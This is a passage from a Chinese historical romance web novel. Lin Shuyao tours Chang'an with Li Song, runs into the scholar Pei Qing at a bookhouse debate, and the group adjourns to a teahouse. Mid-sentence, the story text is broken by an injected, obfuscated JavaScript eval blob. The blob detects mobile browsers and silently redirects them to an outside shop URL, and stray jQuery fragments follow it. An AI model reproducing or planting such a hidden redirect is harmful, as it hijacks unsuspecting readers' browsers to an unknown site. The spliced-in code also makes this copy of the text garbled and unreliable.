“那刚才那个林仲盛?!”
裴清缓缓抬头,看向陆游川错愕惊震的眼神,颔首轻声道:“嗯,是她二哥。”
陆游川唰地一下瘫坐下去:“这,这也太巧了。”
他懊恼无比,连锤了几下头:“怎么就偏巧在人家妹妹面前议论人家。”
裴清安慰道:“陆兄不必担心,我们也并未多说什么。”
陆游川叹:“只怕言者无心听者有意啊。”
——
林舒窈摆脱周以桉后又走回了前庭,途径廊下交汇处时,遇上了一个人。
迎面而来的正是刚才坐在前堂下首的少年,他眉目清秀,身姿修长,一身淡青色长袍和玉冠将他气质趁得尤为的好。
少年驻足,清润的目光看向林舒窈。
他行叉手礼道:“三娘子。”
林舒窈看清那人面容后微有些惊讶地问道:“你是李家五郎,李长青?”
李松垂眸:“是。”
李松,字长青,出身赵郡李氏一族。
而赵郡李氏亦是林舒窈那两位哥哥的母家,两家来往,后辈之间亦会有些照面。
所以林舒窈能认出李松也不算奇怪。
但她稀奇的是,在她印象之中,李氏在大晋朝是武勋起家,推崇武力兵法,缘何如今能出一个李松这般干净、满身文气之人。
但林舒窈也只笑了笑,随意寒暄几句,又问了李松来府上可是有什么事情。
李松后面跟着的林府家丁说道:“娘子,五郎是来和二郎一起读书的。”
林舒窈:“一起读书?”
家丁替答:“科考在即,五郎这次也要参加,相爷便想着让五郎同二郎做个伴。”
林舒窈没憋住笑:“和二哥同读……”
“五郎可是喜好骑马游猎?”
李松听出林舒窈的话中之意——林二郎素来好玩,不喜读书,而李氏一族近几十年来也从未出过文臣,如今突然出一个五郎说要科考,林舒窈便也觉得只是为了找一个玩伴陪林二郎逍遥罢了。
李松微微笑,声音不疾不徐:“幼时的确常随家中兄长一起打猎,不过近几年为了科考便都将精力放在读书上,便少有这些玩乐了。”
“哦?”林舒窈挑眉,“李家向来以武立家,但如今有五郎专研文学,看来以后李家也算是文武共同发展了。”
李松促狭道:“其实家中长辈确实想让我司武职,多亏林相帮我说服了他们,给了我机会尝试以文试入朝。”
林舒窈目光赞许:“看来五郎是想做文臣。”
李松含笑应答。
林舒窈再道:“五郎如此用功,想来来年必能金榜题名了。”
李松拱手:“长青便借三娘子吉言了。”
一旁的家丁看准了时机,说道:“三娘,相爷还安排了五郎和二郎见面,二郎已在书房等着了,就等五郎过去了。”
林舒窈了然:“好,你们先去吧,有空再与五郎相叙。”
二人颔首行礼告辞。
——
一连几日风平浪静,林舒窈并没有像之前说的那样又去找裴清,而裴清也能安下心来温书。
只是有一日下午,裴清书看到一半时,竟突然鬼使神差地抬眼看了眼窗外,手里盘算着林舒窈的话已过去了几日。
他失魂叹一声,却又一惊,他明明想的是林舒窈这几日都没有来,便多半是忘了当日的话,他心中更多的明明是庆幸,为何到了嘴边却是叹息。
裴清将书放下,静坐在书案前沉思。
他将那日的事重新回想了一遍,细究自己为何会如此。
良久,他似乎找到了其中缘由——林二郎科举涉嫌舞弊一事以及前几日发生在林茂和黄端身上的事情……
若说才开始,裴清还只认为梦中所现的事情不过虚幻,但随着这段日子他在京城所见的许多事情都与梦境中重合上后,他便也渐渐觉得梦中所现兴许真是未来预知,亦或者是他另一世的结局。
裴清越想越乱,手中的书拿起又放下,却是未进展一面。他终是难忍,又想起今日还与人有约,便起身收拾,准备出门办事了。
——
林舒窈没有忘记她对裴清说的话,但她迟迟没去找他的原因也很简单——她被其它事绊住了。
林茂在李松去林府的第一天晚上就又跑去了平康坊里的北曲喝酒,醉了整夜,听说还打了人,以至第二天太学都没去成。
李松也因为联系不上他等了一个早上。
林相下朝之后见李松还在府内,不由得一问,后来查出缘由后,林相勃然大怒,直接让人把还没醒的林茂从北曲抓回来关了禁闭。
林茂被关了,李松作为陪读的任务自然也就暂歇一阵了,但这多出的招待客人事情就落在了还算闲散的林舒窈身上。
李松此前一直住在赵州,初来长安需要了解的事情便有许多,林相就让林舒窈无事便带李松到城中转转,林李两家也算姻亲,李松以后又能入仕,表面的功夫自然是要做好的。
所以林舒窈这几日一直和李松打着交道,便抽不出空去找裴清细谈林茂的事情。
而林舒窈与李松也没什么好谈的,李松虽有文气但却寡言,林舒窈也与他并不相熟,二人并排走在一起,往往能说一句话沉默半炷香。
这几日,城里外排得上号的地方林舒窈都带李松逛了个遍,又刚好离林茂解禁还有一日,今日实在找不到去处,林舒窈便借口体验风土人情,把李松带到了市集上。
长安城的市集中除了食肆和服饰店,还有许多书馆。太学供高门富家子弟读书,书馆便是地位稍次,或者寒门学子的研学地。
李松一路过来已经经过几家书馆,他性好读书,又听到一家书馆中正在辩论,一时心痒,便开口问了一旁的林舒窈可愿与他一起去书馆中一观?
林舒窈本也无事,当即便应了好。
这家书馆和其他几家略有不同,其他的,要不是太过沉闷,要不就是过于散漫,唯有这家书馆里面传出的声音慷慨激昂,字字掷地有声,听着里面人对于法理来回的辩驳,有理而不失气势,声大而不失风度,让李松觉得颇有研学之气。
而他和林舒窈刚一进门,里面就齐齐响起了鼓掌声。
辩论已毕,胜负已有定数。
对阵二人纷纷行礼作揖,并未因观点不同而不遵礼节。
林舒窈从重重人影后看去,只见到了其中一方的后脑勺。
发冠高束,发丝不乱,纵只能窥见这一处,她都觉得此人颇具气度。
而且……似乎还很熟悉?
人群慢慢散开,刚才一直背对着林舒窈的那人也准备转身去自己的位置。
然而却是一转眼就迎上了门口女郎审视的目光,立马一愣。
李松:“裴兄!”
一贯闷不做声的李松竟在这时惊呼了出来。
裴清本是一脸错愕地看着林舒窈,女郎似笑非笑,菀媚如流波般的目光向他投来,将他望得怔忡。
林舒窈盯着他的目光也渐渐变得戏谑,唇边淡淡地含起一抹笑。
多亏李松这一唤后裴清才将视线移向了一旁。
裴清先稳住自己心绪,详作无事般向李松打招呼:“李兄。”
在皇帝接见士子那日,裴清曾在宫中帮了李松一个小忙,二人也因此结识。
李松笑呵呵地上前问道:“裴兄缘何在此?你平常都是在这里温书?”
裴清吃笑道:“不是,我一般都在住处温习,只是今日所读略有些困
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13353868|140636||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
惑,便来书馆和大家一起讨论了。”
他当然不会说是他一人在家静不下心。
李松了然:“哦,是这样。”
“对了。”李松记起身后的林舒窈,他向她介绍道,“三娘子,这位裴兄是我之前进宫面圣时结识的……”
“裴郎君,又见面了。”李松还未介绍完,林舒窈便直接打断。
李松讶异,目光辗转二人之间:“你们……认识?”
裴清无奈一笑:“有过几面之缘。”
“哦……”
李松本还在消化二人相识的信息,却听到林舒窈继续说:“与裴郎君的确有缘,近日本是因事耽误了与裴郎君的约定,没想到今日却在这里碰上。”
她上前两步,对裴清悠悠挑眉:“你说巧不巧?”
裴清苦笑:“确实是巧。”
李松察觉二人之间的气氛,更为奇怪道:“原来二位之间还有约?”
林舒窈美目飞扬:“那当然。”
李松又看向裴清去寻求他的答案。
裴清无奈:“额……是。”
也在此时,陆游川翻着书卷从馆内走来,兴声道:“裴兄,你要的书,我找到了!”
又抬眼,神情一滞,脸上立马挂上惊愕:“林、林娘子。”
林舒窈瞧他一眼,没管他的话,只一目不错地问裴清:“你把我的身份给他们说了?”
裴清微微叹息,颔首应嗯。
林舒窈唇角挑起一抹淡淡的冷笑。
陆游川本因着上次万鹤楼的事情对林舒窈还稍微有些发怵,但想着今日实在凑巧,便不如趁此机会将之前那事缓和开。
他干笑道:“没想到大家刚好碰到一起了,看起来裴兄也似乎与林娘子有话要谈,不如我们在外面去找处茶歇的地方,坐下来在细说?”
李松应道:“嗯,三娘子既与裴兄有约,这里又是书馆,或许在外面找处地方谈更为妥当?”
林舒窈回首,对他莞尔:“五郎说得有理。”
又看向裴清:“只是不知裴郎君意下如何?”
几人都这般说了,裴清又能如何呢,他只颔首道:“便依陆兄所言吧。”
——
几人在附近寻了处还算安静的茶肆坐下,店家为他们开好包厢,沏了店中最好的茶招待。
林舒窈以茶点挑选需从“色香味”三方面入手,打发了李松和陆游川随店家去后厨选择。
陆游川始终想着缓解和林舒窈之间的尴尬便也尤为顺着她。
而刚才在来时的路上,陆游川和李松互相认识了一番,知道了对方来处后,陆游川也极为热情地拉着李松一道去选茶点。
李松又如何不知道林舒窈的打算,他故作不经意地看了裴清两眼后便低声应下了林舒窈的话,随陆游川和掌柜出去了。
现下东乔守在外面,房中只剩林舒窈和裴清二人。
裴清垂着眸,一言不发,却觉得自己脸颊上火热滚烫,似是被烈日灼烧。
但其实聚焦在他脸上的,不是太阳,而是林舒窈的目光。
林舒窈看着裴清局促地模样,偷偷笑一下:“裴郎君紧张什么?”
裴清抬眸,神态仍带促狭。
他勉强笑一下:“林娘子是有事?”
林舒窈似笑非笑:“李长青都能看出来的事,你能看不出来?”
裴清仍作不懂:“李兄才学甚好,在下自是不如的。”
林舒窈莫名其妙:“这跟才学有什么关系?你是当事人你还能不清楚?”
“是吗?”裴清缓声,“常言道‘旁观者清,当局者迷’……”
裴清絮絮叨叨的,林舒窈听得皱眉。
她终是不耐烦了:“差不多行了,有完没完!”